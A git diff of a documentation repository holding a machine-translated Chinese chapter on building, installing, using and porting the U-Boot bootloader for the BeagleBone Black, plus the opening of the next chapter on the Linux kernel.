为例,我们会发现可能有一个名为`configs/am335x_evm_defconfig`的配置文件,该板生成的二进制文件文本**支持...。 `am335x`芯片的电路板`README`文件中的 Beaglebone Black**,`board/ti/am335x/README`。 有了这些知识,为 Beaglebone Black 构建 U-Boot 就很简单了。 您需要通过设置`CROSS_COMPILE`make 变量,然后使用`make [board]_defconfig`类型的命令选择配置文件,来通知 U-Boot 交叉编译器的前缀。 因此,要使用我们在[*第 2 章*](02.html#_idTextAnchor029),*了解工具链*中创建的 Crosstool-NG 编译器构建 U-Boot,您需要键入以下内容: - -```sh -$ source ../MELP/Chapter02/set-path-arm-cortex_a8-linux-gnueabihf -$ make am335x_evm_defconfig -$ make -``` - -编制结果如下: - -* `u-boot`:ELF 对象格式的 U-Boot,适用于调试器 -* `u-boot.map`:符号表 -* `u-boot.bin`:原始二进制格式的 U-Boot,适合在您的设备上运行 -* `u-boot.img`:这是添加了 U-Boot 标头的`u-boot.bin`,适用于上传到 U-Boot 的运行副本 -* `u-boot.srec`:Motorola S-Record(**SRECORD**或**SRE**)格式的 U-Boot,适合通过串行连接传输 - -如前所述,BeagleboneBlack 还需要一个**辅助程序加载器**(**SPL**)。 这是同时建造的,命名为 MLO: - -```sh -$ ls -l MLO u-boot* --rw-rw-r-- 1 frank frank  108260 Feb  8 15:24 MLO --rwxrwxr-x 1 frank frank 6028304 Feb  8 15:24 u-boot --rw-rw-r-- 1 frank frank  594076 Feb  8 15:24 u-boot.bin --rw-rw-r-- 1 frank frank   20189 Feb  8 15:23 u-boot.cfg --rw-rw-r-- 1 frank frank   10949 Feb  8 15:24 u-boot.cfg.configs --rw-rw-r-- 1 frank frank   54860 Feb  8 15:24 u-boot.dtb --rw-rw-r-- 1 frank frank  594076 Feb  8 15:24 u-boot-dtb.bin --rw-rw-r-- 1 frank frank  892064 Feb  8 15:24 u-boot-dtb.img --rw-rw-r-- 1 frank frank  892064 Feb  8 15:24 u-boot.img --rw-rw-r-- 1 frank frank    1722 Feb  8 15:24 u-boot.lds --rw-rw-r-- 1 frank frank  802250 Feb  8 15:24 u-boot.map --rwxrwxr-x 1 frank frank  539216 Feb  8 15:24 u-boot-nodtb.bin --rwxrwxr-x 1 frank frank 1617810 Feb  8 15:24 u-boot.srec --rw-rw-r-- 1 frank frank  211574 Feb  8 15:24 u-boot.sym -``` - -对于其他目标,该过程类似。 - -## 安装 U-Boot - -首次在板上安装引导加载程序需要一些外部帮助。 如果主板有硬件调试接口,如**JTAG**(**联合测试行动小组**),通常可以将 U-Boot 的副本直接加载到 RAM 中并使其运行。 从那时起,您可以使用 U-Boot 命令,以便它将自身复制到闪存中。 这方面的细节非常具体,超出了本书的范围。 - -许多 SoC 设计都内置了引导 ROM,可用于从各种外部来源(如 SD 卡、串行接口或 USB 大容量存储)读取引导代码。 Beaglebone Black 中的`am335x`芯片就是这种情况,这使得试用新软件变得很容易。 - -您需要 SD 卡读卡器才能将图像写入卡。 有两种类型:插入 USB 端口的外部读卡器和许多笔记本电脑上都有的内置 SD 读卡器。 当将卡插入读卡器时,Linux 会指定设备名称。 `lsblk`命令是找出分配了哪个设备的有用工具。 例如,当我将一张 NOMINAl 8 GB microSD 卡插入我的读卡器时,会看到以下内容: - -```sh -$ lsblk -NAME        MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT -sda           8:0    1   7.4G  0 disk -└─sda1        8:1    1   7.4G  0 part /media/frank/6662-6262 -nvme0n1     259:0    0 465.8G  0 disk -├─nvme0n1p1 259:1    0   512M  0 part /boot/efi -├─nvme0n1p2 259:2    0    16M  0 part -├─nvme0n1p3 259:3    0 232.9G  0 part -└─nvme0n1p4 259:4    0 232.4G  0 part / -``` - -在本例中,`nvme0n1`是我的 512 GB 硬盘,`sda`是 microSD 卡。 它只有一个分区`sda1`,该分区作为`/media/frank/6662-6262`目录挂载。 - -重要注 - -虽然 microSD 卡的外部打印有 8 GB,但内部只有 7.4 GB。 在一定程度上,这是因为使用的单位不同。 所通告的容量以千兆字节(109)为度量单位,但是由软件报告的大小以千兆字节(230)为单位。 千兆字节缩写为 GB,而千兆字节缩写为 GiB。 这同样适用于 KB 和 KiB 以及 MB 和 MIB。 在这本书中,我试着使用正确的单位。 在 SD 卡的情况下,8 GB 碰巧大约是 7.4GiB。 - -如果我使用内置的 SD 卡插槽,我会看到: - -```sh -$ lsblk -NAME        MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT -mmcblk0     179:0    1   7.4G  0 disk -└─mmcblk0p1 179:1    1   7.4G  0 part /media/frank/6662-6262 -nvme0n1     259:0    0 465.8G  0 disk -├─nvme0n1p1 259:1    0   512M  0 part /boot/efi -├─nvme0n1p2 259:2    0    16M  0 part -├─nvme0n1p3 259:3    0 232.9G  0 part -└─nvme0n1p4 259:4    0 232.4G  0 part / -``` - -在这种情况下,microSD 卡显示为`mmcblk0`,分区为`mmcblk0p1`。 请注意,您使用的 microSD 卡的格式可能与此不同,因此您可能会看到具有不同挂载点的不同数量的分区。 格式化 SD 卡时,确定其设备名称非常重要。 你真的不想把你的硬盘误认为 SD 卡,然后格式化它。 这已经不止一次发生在我身上了。 因此,我在本书的代码归档文件中提供了一个名为`MELP/format-sdcard.sh`的 shell 脚本,它具有合理的检查次数,以防止您(和我)使用错误的设备名称。 该参数是 microSD 卡的设备名称,在第一个示例中为`sdb`,在第二个示例中为`mmcblk0`。 以下是它的用法示例: - -```sh -$ MELP/format-sdcard.sh mmcblk0 -``` - -该脚本创建两个分区:第一个是 64MiB,格式为`FAT32`,将包含引导加载程序;第二个是 1GiB,格式为`ext4`,您将在[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*中使用它。 当该脚本应用于任何大于 32GiB 的驱动器时,该脚本将中止,因此如果您使用的是更大的 microSD 卡,请准备好修改它。 - -对 microSD 卡进行格式化后,将其从读卡器中取出,然后重新插入,以便自动挂载分区。 在当前版本的 Ubuntu 上,这两个分区应该挂载为`/media/[user]/boot`和`/media/[user]/rootfs`。 现在,您可以将 SPL 和 U-Boot 复制到其中,如下所示: - -```sh -$ cp MLO u-boot.img /media/frank/boot -``` - -最后,卸载它: - -```sh -$ sudo umount /media/frank/boot -``` - -现在,在 Beaglebone 板不通电的情况下,将 microSD 卡插入读卡器。 插入串行电缆。 串行端口在您的 PC 上应显示为`/dev/ttyUSB0`。 启动合适的终端程序,如`gtkterm`、`minicom`或`picocom`,并以`115200`位/秒(Bps)的速度连接到端口,不进行流量控制。 `gtkterm`可能是最容易设置和使用的: - -```sh -$ gtkterm -p /dev/ttyUSB0 -s 115200 -``` - -如果您收到权限错误,则可能需要将自己添加到`dialout`组并重新启动才能使用此端口。 - -按住 Beaglebone Black 上的 Boot Switch 按钮(距离 microSD 插槽最近),使用外部 5V 电源接头接通主板电源,大约 5 秒钟后松开按钮。 您应该会在串行控制台上看到一些输出,后面跟着 U-Boot 提示符: - -```sh -U-Boot SPL 2021.01 (Feb 08 2021 - 15:23:22 -0800) -Trying to boot from MMC1 -U-Boot 2021.01 (Feb 08 2021 - 15:23:22 -0800) -CPU  : AM335X-GP rev 2.1 -Model: TI AM335x BeagleBone Black -DRAM:  512 MiB -WDT:   Started with servicing (60s timeout) -NAND:  0 MiB -MMC:   OMAP SD/MMC: 0, OMAP SD/MMC: 1 -Loading Environment from FAT... *** Warning - bad CRC, using default environment - not set. Validating first E-fuse MAC -Net:   eth2: ethernet@4a100000, eth3: usb_ether -Hit any key to stop autoboot:  0 -=> -``` - -按键盘上的任意键可停止 U-Boot 在默认环境下自动启动。 现在我们面前有一个 U-Boot 提示符,让我们来测试一下 U-Boot。 - -## 使用 U-Boot - -在本节中,我将描述一些可以使用 U-Boot -执行的常见任务。 - -通常,U-Boot 通过串行端口提供命令行界面。 它提供为每个电路板定制的命令提示符。 在这些示例中,我将使用`=>`。 键入`help`会打印出在此版本的 U-Boot 中配置的所有命令;键入`help `会打印出有关特定命令的更多信息。 - -Beaglebone Black 的默认命令解释器非常简单。 您不能通过按向左或向右键进行命令行编辑;按*Tab*键不会完成命令;按 Up 键也不会有命令历史记录。 按下这些键中的任何一个都会中断您当前尝试键入的命令,您必须键入*Ctrl+C*,然后重新开始。 唯一可以安全使用的行编辑键是退格键。 作为一种选择,您可以配置一个名为**Hush**的不同命令 shell,它具有更复杂的交互支持,包括命令行编辑。 - -默认数字格式为十六进制。 以下面的命令 -为例: - -```sh -=> nand read 82000000 400000 200000 -``` - -这将从 NAND 闪存开始处的偏移量`0x400000`将`0x200000`字节读取到 RAM 地址`0x82000000`。 - -### 环境变量 - -U-Boot 广泛使用环境变量在函数之间存储和传递信息,甚至创建脚本。 环境变量是存储在内存区域中的简单`name=value`对。 初始变量集合可以在电路板配置头文件中编码,如下所示: - -```sh -#define CONFIG_EXTRA_ENV_SETTINGS -"myvar1=value1" -"myvar2=value2" -[…] -``` - -您可以使用`setenv`从 U-Boot 命令行创建和修改变量。 例如,`setenv foo bar`使用`bar`值创建`foo`变量。 请注意,变量名和值之间没有`=`号。 您可以通过将变量设置为`null`字符串`setenv foo`来删除该变量。 您可以使用`printenv`将所有变量打印到控制台,也可以使用`printenv foo`打印单个变量。 - -如果 U-Boot 已为配置了存储环境的空间,您可以使用`saveenv`命令保存它。 如果存在原始 NAND 或 NOR 闪存,则可以为此保留一个`erase`块,通常使用另一个块作为冗余副本以防止损坏。 如果有 eMMC 或 SD 卡存储,则可以将其存储在保留的扇区阵列中,或存储在磁盘分区中名为`uboot.env`的文件中。 其他选项包括将其存储在通过 I2C 或 SPI 接口或非易失性 RAM 连接的串行 EEPROM 中。 - -### 引导映像格式 - -U-Boot 没有文件系统。 相反,它用 64 字节的头标记信息块,这样它就可以跟踪内容。 我们使用`mkimage`命令行工具为 U-Boot 准备文件,该工具与 Ubuntu 上的`u-boot-tools`包捆绑在一起。 您还可以通过在 U-Boot 源代码树中运行`make tools`来获取`mkimage`,然后将其作为`tools/mkimage`调用。 - -以下是该命令用法的简要摘要: - -```sh -$ mkimage -Error: Missing output filename -Usage: mkimage -l image -          -l ==> list image header information -       mkimage [-x] -A arch -O os -T type -C comp -a addr -e ep -n name -d data_file[:data_file...] image -          -A ==> set architecture to 'arch' -          -O ==> set operating system to 'os' -          -T ==> set image type to 'type' -          -C ==> set compression type 'comp' -          -a ==> set load address to 'addr' (hex) -          -e ==> set entry point to 'ep' (hex) -          -n ==> set image name to 'name' -          -d ==> use image data from 'datafile' -          -x ==> set XIP (execute in place) -       mkimage [-D dtc_options] [-f fit-image.its|-f auto|-F] [-b [-b ]] [-i ] fit-image -            file is used with -f auto, it may occur multiple times. -          -D => set all options for device tree compiler -          -f => input filename for FIT source -          -i => input filename for ramdisk file -Signing / verified boot options: [-E] [-B size] [-k keydir] [-K dtb] [ -c ] [-p addr] [-r] [-N engine] -          -E => place data outside of the FIT structure -          -B => align size in hex for FIT structure and header -          -k => set directory containing private keys -          -K => write public keys to this .dtb file -          -c => add comment in signature node -          -F => re-sign existing FIT image -          -p => place external data at a static position -          -r => mark keys used as 'required' in dtb -          -N => openssl engine to use for signing -       mkimage -V ==> print version information and exit -Use '-T list' to see a list of available image types -``` - -例如,要为 ARM 处理器准备内核映像,可以使用以下命令 -: - -```sh -$ mkimage -A arm -O linux -T kernel -C gzip -a 0x80008000 \ --e 0x80008000 --n 'Linux' -d zImage uImage -``` - -在本例中,体系结构是`arm`,操作系统是`linux`,镜像类型是`kernel`。 另外,压缩方案为`gzip`,加载地址为`0x80008000`,入口点与加载地址相同。 最后,图像 -名为`Linux`,图像数据文件名为`zImage`,生成的图像名为`uImage`。 - -### 正在加载图像 - -通常,您将从可移动存储(如 SD 卡或网络)加载图像。 SD 卡在 U-Boot 中由 MMC 驱动程序处理。 用于将图像加载到存储器的典型序列如下: - -```sh -=> mmc rescan -=> fatload mmc 0:1 82000000 uimage -reading uimage -4605000 bytes read in 254 ms (17.3 MiB/s) -=> iminfo 82000000 -## Checking Image at 82000000 ... -Legacy image found -Image Name: Linux-3.18.0 -Created: 2014-12-23 21:08:07 UTC -Image Type: ARM Linux Kernel Image (uncompressed) -Data Size: 4604936 Bytes = 4.4 MiB -Load Address: 80008000 -Entry Point: 80008000 -Verifying Checksum ... OK -``` - -`mmc rescan`命令重新初始化 MMC 驱动程序,可能是为了检测最近是否插入了 SD 卡。 接下来,使用`fatload`从 SD 卡上的 FAT 格式分区读取文件。 格式如下: - -```sh -fatload [ [ [ [bytes [pos]]]]] -``` - -如果``是`mmc`,就像我们的例子一样,``是 MMC 接口的设备号,从零开始计数,分区号从一开始计数。 因此,`<0:1>`是第一个设备上的第一个分区,即 microSD 卡的`mmc 0`(板载 eMMC 为`mmc 1`)。 存储器位置`0x82000000`被选择在目前未使用的 RAM 区域中。 如果我们打算引导这个内核,我们必须确保当内核映像被解压缩并位于运行时位置时,RAM 的这一区域不会被覆盖,`0x80008000`。 - -要通过网络加载图像文件,必须使用**普通文件传输协议(TFTP)**。 这需要您在开发系统上安装 TFTP 守护进程`tftpd`并开始运行它。 您还必须配置 PC 和目标板之间的所有防火墙,以允许 UDP 端口`69`上的 TFTP 协议通过。 TFTP 的默认配置仅允许访问`/var/lib/tftpboot`目录。 下一步是将要传输到目标的文件复制到该目录中。 然后,假设您使用的是一对静态 IP 地址,这样就不需要进一步的网络管理,加载一组内核映像文件的命令序列应该如下所示: - -```sh -=> setenv ipaddr 192.168.159.42 -=> setenv serverip 192.168.159.99 -=> tftp 82000000 uImage -link up on port 0, speed 100, full duplex -Using cpsw device -TFTP from server 192.168.159.99; our IP address is 192.168.159.42 -Filename 'uImage'. -Load address: 0x82000000 -Loading: -######################################################################################################################################################################################################################################################################################################################## -3 MiB/s -done -Bytes transferred = 4605000 (464448 hex) -``` - -最后,让我们看看如何将图像编程到 NAND 闪存中并读回它们,这是由`nand`命令处理的。 此示例通过 TFTP 加载内核映像并将其编程到闪存中: - -```sh -=> tftpboot 82000000 uimage -=> nandecc hw -=> nand erase 280000 400000 -NAND erase: device 0 offset 0x280000, size 0x400000 -Erasing at 0x660000 -- 100% complete. -OK -=> nand write 82000000 280000 400000 -NAND write: device 0 offset 0x280000, size 0x400000 -4194304 bytes written: OK -``` - -现在,您可以使用`nand read`命令从闪存加载内核: - -```sh -=> nand read 82000000 280000 400000 -``` - -一旦内核加载到 RAM 中,我们就可以引导它了。 - -## 引导 Linux - -`bootm`命令启动运行的内核映像。 语法如下: - -```sh -bootm [address of kernel] [address of ramdisk] [address of dtb]. -``` - -内核映像的地址是必需的,但如果内核配置不需要`ramdisk`和`dtb`的地址,则可以省略它们。 如果有`dtb`但没有`initramfs`,则可以用破折号(`-`)替换第二个地址。 如下所示: - -```sh -=> bootm 82000000 – 83000000 -``` - -显然,每次开机时输入一长串命令来引导您的主板是不可接受的。 让我们看看如何自动启动过程。 - -### 使用 U-Boot 脚本自动引导 - -U-Boot 在环境变量中存储一系列命令。 如果名为`bootcmd`的特殊变量包含脚本,它将在延迟`bootdelay`秒后在加电时运行。 如果您在串行控制台上观看此视频,您将看到延迟倒计时为零。 您可以在此期间按任意键终止倒计时,并进入与 U-Boot 的互动会话。 - -创建脚本的方式很简单,但不容易阅读。 您只需附加用分号分隔的命令,命令前面必须有*\*转义字符。 因此,例如,要从闪存中的偏移量加载内核映像并引导它,您可以使用以下命令: - -```sh -setenv bootcmd nand read 82000000 400000 200000\;bootm 82000000 -``` - -我们现在知道如何使用 U-Boot 在 Beaglebone Black 上引导内核。 但是,我们如何将 U-Boot 移植到没有 BSP 的新板上呢? 我们将在本章的剩余部分介绍这一点。 - -## 将 U-Boot 移植到新板 - -让我们假设您的硬件部门已经创建了一个基于 Beaglebone Black 的名为**Nova**的新主板,并且您需要将 U-Boot 移植到该主板上。 您需要了解 U-Boot 代码的布局以及电路板配置机制如何工作。 在本节中,我将向您展示如何创建现有电路板的变体-Beaglebone Black-您可以继续将其用作进一步定制的基础。 有相当多的文件需要更改。 我已经将它们放在`MELP/Chapter03/0001-BSP-for-Nova.patch`的代码存档中的一个补丁文件中。 您可以简单地将该补丁应用于 U-Boot 版本 2021.01 的干净副本,如下所示: - -```sh -$ cd u-boot -$ patch -p1 < MELP/Chapter03/0001-BSP-for-Nova.patch -``` - -如果您要使用不同版本的 U-Boot,则必须对补丁进行一些更改才能将其完全应用。 - -本部分的其余部分将描述补丁程序是如何创建的。 如果你想循序渐进,你需要一份干净的 U-Boot 2021.01,没有 Nova BSP 补丁。 我们将处理的主要目录如下: - -* `arch`:包含特定于`arm`、`mips`和`powerpc`目录中的每个受支持体系结构的代码。 在每个体系结构中,家族的每个成员都有一个子目录;例如,在`arch/arm/cpu/`中,有体系结构变体的目录,包括`amt926ejs`、`armv7`和`armv8`。 -* `board`:包含特定于电路板的代码。 如果有多个电路板来自同一供应商,则可以将它们收集到一个子目录中。 因此,Beaglebone 所基于的`am335x`EVM 板的支持在`board/ti/am335x`中。 -* `common`:包含核心函数,包括命令 shell 和可以从其中调用的命令,每个命令都位于名为`cmd_[command name].c`的文件中。 -* `doc`:包含多个`README`文件,描述 U-Boot 的各个方面。 如果您想知道如何继续使用 U-Boot 端口,这是一个很好的起点。 -* `include`:除了许多共享的头文件外,它还包含非常重要的`include/configs/`子目录,您可以在该目录中找到大多数线路板配置设置。 - -`Kconfig`从`Kconfig`文件中提取配置信息并将整个系统配置存储到名为`.config`的文件中的方法将在[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*中详细描述。 每个电路板都有存储在`configs/[board name]_defconfig`中的默认配置。 对于 Nova 主板,我们可以从复制 EVM 的配置开始: - -```sh -$ cp configs/am335x_evm_defconfig configs/nova_defconfig -``` - -现在,编辑`configs/nova_defconfig`并在`CONFIG_AM33XX=y`之后插入`CONFIG_TARGET_NOVA=y`,如下所示: - -```sh -CONFIG_ARM=y -CONFIG_ARCH_CPU_INIT=y -CONFIG_ARCH_OMAP2PLUS=y -CONFIG_TI_COMMON_CMD_OPTIONS=y -CONFIG_AM33XX=y -CONFIG_TARGET_NOVA=y -CONFIG_SPL=y -[…] -``` - -注意,`CONFIG_ARM=y`使得`arch/arm/Kconfig`的内容被包括在中,并且`CONFIG_AM33XX=y`使得`arch/arm/mach-omap2/am33xx/Kconfig`被包括在内。 - -接下来,在`CONFIG_DISTRO_DEFAULTS=y`之后插入`CONFIG_SYS_CUSTOM_LDSCRIPT=y`和`CONFIG_SYS_LDSCRIPT=="board/ti/nova/u-boot.lds"`到同一个文件中,如下所示: - -```sh -[…] -CONFIG_SPL=y -CONFIG_DEFAULT_DEVICE_TREE="am335x-evm" -CONFIG_DISTRO_DEFAULTS=y -CONFIG_SYS_CUSTOM_LDSCRIPT=y -CONFIG_SYS_LDSCRIPT="board/ti/nova/u-boot.lds" -CONFIG_SPL_LOAD_FIT=y -[…] -``` - -我们现在已经完成了对`configs/nova_defconfig`的修改。 - -### 特定于电路板的文件 - -每个线路板都有一个名为`board/[board name]`或`board/[vendor]/[board name]`的子目录,其中应包含以下内容: - -* `Kconfig`:包含电路板的配置选项。 -* `MAINTAINERS`:包含董事会当前是否由谁维护的记录,如果是,由谁维护。 -* `Makefile`:用于构建特定于电路板的代码。 -* `README`:包含有关此 U-Boot 端口的任何有用信息;例如,涵盖哪些硬件变体。 - -此外,可能还有特定于电路板的功能的源文件。 - -我们的 Nova 董事会基于 Beaglebone,而 Beaglebone 又基于 TI`am335x`EVM。 因此,我们应该复制`am335x`板文件: - -```sh -$ mkdir board/ti/nova -$ cp -a board/ti/am335x/* board/ti/nova -``` - -接下来,编辑`board/ti/nova/Kconfig`并将`SYS_BOARD`设置为`"nova"`,以便在`board/ti/nova`中构建文件。 然后,也将`SYS_CONFIG_NAME`设置为`"nova"`,以便它将使用`include/configs/nova.h`作为配置文件: - -```sh -if TARGET_NOVA -config SYS_BOARD -        default "nova" -config SYS_VENDOR -        default "ti" -config SYS_SOC -        default "am33xx" -config SYS_CONFIG_NAME -        default "nova" -[…] -``` - -这里还有一个我们需要更改的文件。 放置在`board/ti/nova/u-boot.lds`处的链接器脚本包含对 -`board/ti/am335x/built-in.o`的硬编码引用。 更改它,如下所示: - -```sh -{ -    *(.__image_copy_start) -    *(.vectors) -    CPUDIR/start.o (.text*) -    board/ti/nova/built-in.o (.text*) -} -``` - -现在,我们需要将 Nova 的`Kconfig`文件链接到`Kconfig`文件链中。 首先,编辑`arch/arm/Kconfig`,在`source "board/tcl/sl50/Kconfig"`后插入`source "board/ti/nova/Kconfig"`,如下图所示: - -```sh -[…] -source "board/st/stv0991/Kconfig" -source "board/tcl/sl50/Kconfig" -source "board/ti/nova/Kconfig" -source "board/toradex/colibri_pxa270/Kconfig" -source "board/variscite/dart_6ul/Kconfig" -[…] -``` - -然后编辑`arch/arm/mach-omap2/am33xx/Kconfig`,在紧跟在`TARGET_AM335X_EVM`后面添加`TARGET_NOVA`的配置选项,如下图所示: - -```sh -[…] -config TARGET_NOVA -        bool "Support the Nova! board" -        select DM -        select DM_GPIO -        select DM_SERIAL -        select TI_I2C_BOARD_DETECT -        imply CMD_DM -        imply SPL_DM -        imply SPL_DM_SEQ_ALIAS -        imply SPL_ENV_SUPPORT -        imply SPL_FS_EXT4 -        imply SPL_FS_FAT -        imply SPL_GPIO_SUPPORT -        imply SPL_I2C_SUPPORT -        imply SPL_LIBCOMMON_SUPPORT -        imply SPL_LIBDISK_SUPPORT -        imply SPL_LIBGENERIC_SUPPORT -        imply SPL_MMC_SUPPORT -        imply SPL_NAND_SUPPORT -        imply SPL_OF_LIBFDT -        imply SPL_POWER_SUPPORT -        imply SPL_SEPARATE_BSS -        imply SPL_SERIAL_SUPPORT -        imply SPL_SYS_MALLOC_SIMPLE -        imply SPL_WATCHDOG_SUPPORT -        imply SPL_YMODEM_SUPPORT -        help -          The Nova target board -[…] -``` - -所有的`imply SPL_`行都是必需的,这样 U-Boot 就可以干净地构建而不会出现错误。 - -现在我们已经复制并修改了 Nova 主板的特定于主板的文件,现在让我们转到头文件。 - -### 配置头文件 - -每个线路板在`include/configs/`中都有一个包含大部分配置信息的头文件。 该文件由电路板的`Kconfig`文件中的`SYS_CONFIG_NAME`标识符命名。 此文件的格式在 U-Boot 源代码树顶层的`README`文件中有详细说明。 对于我们的 Nova 板,只需将`include/configs/am335x_evm.h`复制到`include/configs/nova.h`并进行一些更改,如下所示: - -```sh -[…] -#ifndef __CONFIG_NOVA_H -#define __CONFIG_NOVA_H -include -#include -#undef CONFIG_SYS_PROMPT -#define CONFIG_SYS_PROMPT "nova!> " -#ifndef CONFIG_SPL_BUILD -# define CONFIG_TIMESTAMP -#endif -[…] -#endif  /* ! __CONFIG_NOVA_H */ -``` - -除了用`__CONFIG_NOVA_H`替换`__CONFIG_AM335X_EVM_H`之外,需要进行的唯一更改是设置一个新的命令提示符,以便我们可以在运行时识别 -这个引导加载程序。 - -完全修改源树后,我们现在就可以为我们的 -自定义板构建 U-Boot 了。 - -## 建造和测试 - -要为 Nova 板构建 U-Boot,请选择您刚刚创建的配置: - -```sh -$ source ../MELP/Chapter02/set-path-arm-cortex_a8-linux-gnueabihf -$ make distclean -$ make nova_defconfig -$ make -``` - -将`MLO`和`u-boot.img`复制到您先前创建的 microSD 卡的启动分区,然后启动该板。 您应该看到如下所示的输出(请注意命令提示符): - -```sh -U-Boot SPL 2021.01-dirty (Feb 08 2021 - 21:30:41 -0800) -Trying to boot from MMC1 -U-Boot 2021.01-dirty (Feb 08 2021 - 21:30:41 -0800) -CPU  : AM335X-GP rev 2.1 -Model: TI AM335x BeagleBone Black -DRAM:  512 MiB -WDT:   Started with servicing (60s timeout) -NAND:  0 MiB -MMC:   OMAP SD/MMC: 0, OMAP SD/MMC: 1 -Loading Environment from FAT... *** Warning - bad CRC, using default environment - not set. Validating first E-fuse MAC -Net:   eth2: ethernet@4a100000, eth3: usb_ether -Hit any key to stop autoboot:  0 -nova!> -``` - -您可以通过将更改签入 Git 并使用`git format-patch`命令为所有这些更改创建补丁: - -```sh -$ git add . -$ git commit -m "BSP for Nova" -[detached HEAD 093ec472f6] BSP for Nova -12 files changed, 2379 insertions(+) - create mode 100644 board/ti/nova/Kconfig - create mode 100644 board/ti/nova/MAINTAINERS - create mode 100644 board/ti/nova/Makefile - create mode 100644 board/ti/nova/README - create mode 100644 board/ti/nova/board.c - create mode 100644 board/ti/nova/board.h - create mode 100644 board/ti/nova/mux.c - create mode 100644 board/ti/nova/u-boot.lds - create mode 100644 configs/nova_defconfig - create mode 100644 include/configs/nova.h -$ git format-patch -1 -0001-BSP-for-Nova.patch -``` - -生成此补丁结束了我们将 U-Boot 作为 TPL 的介绍。 U-Boot 还可以配置为完全绕过引导过程的 TPL 阶段。 接下来,让我们研究一下引导 Linux 的另一种方法。 - -## 猎鹰模式 - -我们习惯于这样的想法:引导现代嵌入式处理器需要 CPU 引导 ROM 加载 SPL,SPL 加载`u-boot.bin`,然后再加载 Linux 内核。 您可能想知道是否有方法可以减少步骤数,从而简化和加快引导过程。 答案是 U-Boot**猎鹰模式**。 想法很简单:让 SPL 直接加载内核映像,省略`u-boot.bin`。 没有用户交互,也没有脚本。 它只是将内核从闪存或 eMMC 中的已知位置加载到内存中,传递给它一个预先准备好的参数块,然后启动它的运行。 配置 Falcon 模式的详细信息不在本书讨论范围内。 如果您想了解更多信息,请查看`doc/README.falcon`。 - -重要注 - -猎鹰模式是以游隼的名字命名的,游隼是所有鸟类中速度最快的,能够在一次潜水中达到每小时 200 英里以上的速度。 - -# 摘要 - -每个系统都需要一个引导加载程序来激活硬件并加载内核。 U-Boot 受到了许多开发人员的青睐,因为它支持一系列有用的硬件,而且很容易移植到新设备上。 在本章中,我们学习了如何通过串行控制台从命令行以交互方式检查和驱动 U-Boot。 这些命令行练习包括使用 TFTP 通过网络加载内核以进行快速迭代。 最后,我们了解了如何通过为 Nova 主板生成补丁来将 U-Boot 移植到新设备。 - -在过去的几年中,嵌入式硬件的复杂性和不断增加的种类导致了设备树作为描述硬件的一种方式的引入。 设备树只是系统的文本表示,它被编译成**设备树二进制文件**(**DTB**),并在加载时传递给内核。 它由内核来解释设备树,并为它在那里找到的设备加载和初始化驱动程序。 - -在使用中,U-Boot 非常灵活,允许从大容量存储、闪存或网络加载映像,然后引导。 在介绍了引导 Linux 的一些错综复杂的内容之后,在下一章中,我们将讨论该过程的下一阶段,因为嵌入式项目的第三个元素-内核-开始发挥作用。 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/04.md b/docs/master-emb-linux-prog/04.md deleted file mode 100644 index 7cc46145..00000000 --- a/docs/master-emb-linux-prog/04.md +++ /dev/null @@ -1,884 +0,0 @@ -# 四、配置和构建内核 - -内核是嵌入式 Linux 的第三个元素。 它是负责管理资源和与硬件交互的组件,因此几乎影响最终软件构建的方方面面。 尽管如我们在[*第 3 章*](03.html#_idTextAnchor061),*All About Bootloaders*中看到的,设备树通常是根据您的特定硬件配置定制的,但是设备树允许您通过设备树的内容创建为特定硬件量身定做的通用内核。 - -在本章中,我们将了解如何获取电路板的内核,以及如何配置和编译它。 我们将再次查看 Bootstrap,这一次重点关注内核所扮演的角色。 我们还将查看设备驱动程序以及它们如何从设备树中提取信息。 - -我们将涵盖以下主要主题: - -* 内核是做什么的? -* 选择内核 -* 构建内核 -* 引导内核 -* 将 Linux 移植到新的主板 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 一种基于 Linux 的主机系统 -* [*第 2 章*](02.html#_idTextAnchor029),*中的 Crossstool-NG 工具链了解工具链* -* 一种 microSD 卡读卡器和卡 -* 安装了 U-Boot 的 microSD 卡从[*第 3 章*](03.html#_idTextAnchor061),*All About BootLoader*安装 -* USB 转 TTL 3.3V 串行电缆 -* 覆盆子派 4 -* 一种 5V 3A USB-C 电源 -* 比格尔博恩黑 -* 5V 1A 直流电源 - -本章的所有代码都可以在本书的 GitHub 存储库的`Chapter04`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 内核做什么? - -Linux 始于 1991 年,当时 Linus Torvalds 开始为基于 Intel386 和 486 的个人计算机编写操作系统。 他的灵感来自 4 年前安德鲁·S·塔南鲍姆(Andrew S.Tanenbaum)编写的 Minix 操作系统。 Linux 与 Minix 在很多方面都不同;主要区别在于它是一个 32 位虚拟内存内核,代码是开源的,后来在 GPLv2 许可下发布。 1991 年 8 月 25 日,他在`comp.os.minix`新闻组的一个著名帖子中宣布了这一消息,帖子开头是这样的: - -大家好,在那里使用 Minix 的人-我正在为 386(486)个 AT 克隆做一个(免费的)操作系统(只是一个爱好,不会像 GNU 那样大和专业)。 这从 4 月份就开始酝酿了,并开始做好准备。 我想要任何关于 Minix 中人们喜欢/不喜欢的东西的反馈,因为我的操作系统有点像它(文件系统的物理布局相同(由于实际原因))。 - -严格地说,莱纳斯并没有写操作系统,而是写了一个内核,而内核只是操作系统的一个组成部分。 为了创建一个包含用户空间命令和 shell 命令解释器的完整操作系统,他使用了 GNU 项目中的组件,特别是工具链、C 库和基本命令行工具。 这一区别至今仍然存在,并使 Linux 在使用方式上具有很大的灵活性。 - -Linux 内核可以与 GNU 用户空间相结合,以创建在桌面和服务器上运行的完整 Linux 发行版(有时称为 GNU/Linux);它可以与 Android 用户空间相结合,以创建众所周知的移动操作系统,也可以与基于 BusyBox 的小用户空间相结合,以创建紧凑的嵌入式系统。 - -这与 BSD 操作系统(FreeBSD、OpenBSD 和 NetBSD)形成对比,在这些操作系统中,内核、工具链和用户空间被组合到单个代码库中。 通过移除工具链,您可以在不需要编译器或头文件的情况下部署更瘦的运行时映像。 通过将用户空间与内核分离,您可以在 init 系统(`runit`与`systemd`)、C 库(`musl`与`glibc`)和包格式(`.apk`与`.deb`)方面获得选项。 - 